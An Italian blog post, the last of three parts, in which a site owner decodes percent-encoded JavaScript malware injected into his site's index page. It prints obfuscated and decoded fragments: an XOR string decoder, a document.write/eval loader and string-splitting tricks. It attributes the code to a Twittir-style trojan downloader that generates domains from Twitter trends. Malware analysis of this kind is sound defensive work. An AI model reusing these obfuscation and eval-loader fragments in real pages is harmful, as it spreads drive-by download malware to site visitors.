Ecco la terza ed ultima parte dell'analisi relativa al codice JS malevolo iniettato sulla index di un sito che gestisco. Basandomi sulle osservazioni fatte in questo post, la prima cosa che mi è saltata in mente è stata quella di decodificare le variabili in percent encoding, tecnica utilizzata solitamente per le URL.
In particolare, le variabili che ho decodificato sono le seguenti:
var ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%"
che decodificata diventa:
var ca="function dcs(ds,es){ds=unescape%"
var cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";
che decodificata diventa:
t=st+String.fromCharCode((tmp.
var st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";
che decodificata diventa:
st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";
var cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";
che decodificata diventa:
cz(cz){return ca+cb+cc+cd+ce+cz;};
var op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";
che decodificata diventa:
$a="dw(dcs(cu,14));";
var ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";
che decodificata diventa:
charCodeAt(0)^('0x00'+es)));}}
var cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";
che decodificata diventa:
28st=tmp='';for(i=0;i<ds.len";
var dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";
che decodificata diventa:
dw(t){ca='%64oc%75me%6et.%77r%69te(%22';ce='%22%29';cb='%3cs%63ri%70%74 l%61%6egua%67%65%3d%5c%22j%61vas%63ri%70%74%5c%22%3e';cc='%3c%5c%2fscript%3e';window["e"+""+ "v"+"al"](unescape(t))};
Consideriamo ora la variabile cz:
cz(cz){return ca+cb+cc+cd+ce+cz;};
la quale diventa:
function cz(cz){
return "function dcs(ds,es) {
ds=unescape(ds);
st=tmp='';
for(i=0;i<ds.l%65ngth;i++) {
tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));
}
}"+cz;
};
E' facile notare come la tecnica utilizzata per offuscare il codice sia sempre la stessa, ovvero l'uso di una logica di programmazione piuttosto contorta e l'abuso del percent encoding.
A questo punto, cercando un po' in rete ho visto che fondamentalmente si tratta di una variante del codice malevolo JS/Trojan-Downloader.JS.Twettir.a, il quale, appena la pagina infetta viene visualizzata, contatta il server search.twitter.com richiedendo la lista dei trending topic della settimana. Questa lista, in aggiunta alla data corrente, viene utilizzata per generare dei nomi di dominio pseudocasuali (già registrati dall'autore del malware e calcolati dallo stesso mediante la medesima tecnica), i quali verranno contattati in automatico per avviare il dowload del trojan direttamente sul PC dell'utente.
Inutile dire che tale codice è stato iniettato sfruttando una vulnerabilità dei server di Aruba. Spero che adesso siano stati finalmente patchati.
Il post termina qui, a presto.